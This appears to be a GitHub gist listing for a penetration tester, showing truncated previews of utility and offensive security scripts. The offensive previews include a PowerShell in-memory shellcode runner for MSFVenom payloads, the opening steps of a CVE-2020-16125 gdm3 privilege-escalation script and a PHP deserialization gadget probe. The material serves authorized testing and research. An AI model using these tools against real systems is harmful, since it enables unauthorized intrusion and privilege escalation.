Skip to content

Instantly share code, notes, and snippets.

@mcorybillington
mcorybillington / updetector.sh
Created July 18, 2022 15:27
Make a 3 sec beep when the network connection is restored
while :; do ping -c1 -w1 8.8.8.8 &>/dev/null && echo "UP: $(date -R)" && break || echo "DOWN: $(date -R)";sleep 1;done;(speaker-test -t sine -f 1000 > /dev/null)& pid=$!;sleep 3s;kill -9 $pid
@mcorybillington
mcorybillington / pwshellcode.py
Last active August 1, 2022 00:12
Simple script to tie together TrustedSec's work on running shellcode via powershell with MSFVenvom. Very little effort made to evade/hide/bypass anything, just a simple way to run shellcode in memory if you get command execution and can run PowerShell on a pentest. Stick to x86 payloads from MSFVenom.
## Credits to the following projects for a lot of this powershell code and just general inspiration
## https://github.com/chvancooten/OSEP-Code-Snippets
## https://www.trustedsec.com/blog/native-powershell-x86-shellcode-injection-on-64-bit-platforms/
from argparse import ArgumentParser
import subprocess
import base64
import os
@mcorybillington
mcorybillington / sorter.sh
Created March 1, 2022 05:23
Fast domain sorter for protocol. Good if you have a list of domains and want to sort by port 80/443. Lots of room for additions/mods, but it sorts pretty fast by backgrounding each job to do `nc` port check.
#!/bin/bash
TODAY="$(date '+%Y-%b-%d')"
curl -s "https://<domain>/some-list" \
-o "/path/to/working/dir/${TODAY}-domains.txt"
function check_ports()
{
echo "Checking $1"
@mcorybillington
mcorybillington / ufw-vpn.sh
Last active February 27, 2022 19:20
UFW script to only allow traffic out on UDP port 53 (DNS lookups) and 1194 (common VPN port). Safety precaution for bug bounty to make sure you don't accidentally hit stuff from your home IP if VPN drops/etc.
#!/bin/bash
VPN_INTERFACE="tun0"
LAN_INTERFACE="enp1s0"
UFW="/usr/sbin/ufw"
"${UFW}" enable
"${UFW}" --force reset
"${UFW}" default deny incoming
"${UFW}" default deny outgoing
@mcorybillington
mcorybillington / suspect_suids.yml
Last active December 19, 2021 21:18
Ansible playbook to find manually created setuid binaries
## Highly recommend testing this adequately. I threw it together and tested on a few local VM's. Not responsbile for bad things that happen due to negligence/failure to adequately test first.
---
- name: Identify manually placed setuid binaries
gather_facts: true
hosts: all
tasks:
- name: Search for manually placed setuid binaries
shell: find / -xdev -user root -perm -4000 -printf '%M %TF %TT %p\n' 2>/dev/null | grep -v 0000000000
@mcorybillington
mcorybillington / get_favicon_hash.py
Last active June 7, 2021 00:36
Generate a hash of a favicon to be used for searching on Shodan.
# Original credit: https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a
# pip3 install mmh3
import requests
from codecs import encode
from argparse import ArgumentParser
import mmh3
def main():
parser = ArgumentParser(description="Shodan favicon hash generator")

Keybase proof

I hereby claim:

  • I am mcorybillington on github.
  • I am th3y (https://keybase.io/th3y) on keybase.
  • I have a public key ASC2nFUdxkdbrA6Ntrczt6VuKdgB4PUuRQNJhFsQpEbgBQo

To claim this, I am signing this object:

@mcorybillington
mcorybillington / UniversalPOPGadget.php
Last active December 10, 2020 01:53
PHP Magic Method enumeration for deserialization vulnerabilities. Adapted from https://nickbloor.co.uk/2018/02/28/popping-wordpress/
# Credit for this: https://nickbloor.co.uk/2018/02/28/popping-wordpress/
# I just made them print statements instead of logging...
<?php
if(!class_exists("UniversalPOPGadget")) {
class UniversalPOPGadget {
public function __construct() { echo "UniversalPOPGadget::__construct()\n"; }
public function __destruct() { echo "UniversalPOPGadget::__destruct()\n"; }
public function __call($name, $args) {
echo "UniversalPOPGadget::__call(" . $name . ", " . implode(",", $args) . ")\n";
}
@mcorybillington
mcorybillington / gnome-gdm3-privesc.sh
Last active June 14, 2021 14:17
Quick script to automate CVE-2020-16125 Gnome gdm3 privilege escalation. Credit for discovery to Kevin Backhouse and GitHub Security Lab. Original writeup: https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE
#!/bin/bash
# Credit to Kevin Backhouse and GitHub Security Lab, I just scripted this...
# Original writeup: https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE
# CVE-2020-16125
echo "[+] Creating symlink"
ln -s /dev/zero .pam_environment;
echo "[+] Changing region"
@mcorybillington
mcorybillington / threaded_task.py
Last active November 23, 2021 20:51
Fast threaded python script
from threading import Thread
from requests.exceptions import ConnectionError, ReadTimeout
from requests import head
from queue import Queue
from sys import argv, exit
concurrent = 200
def do_work():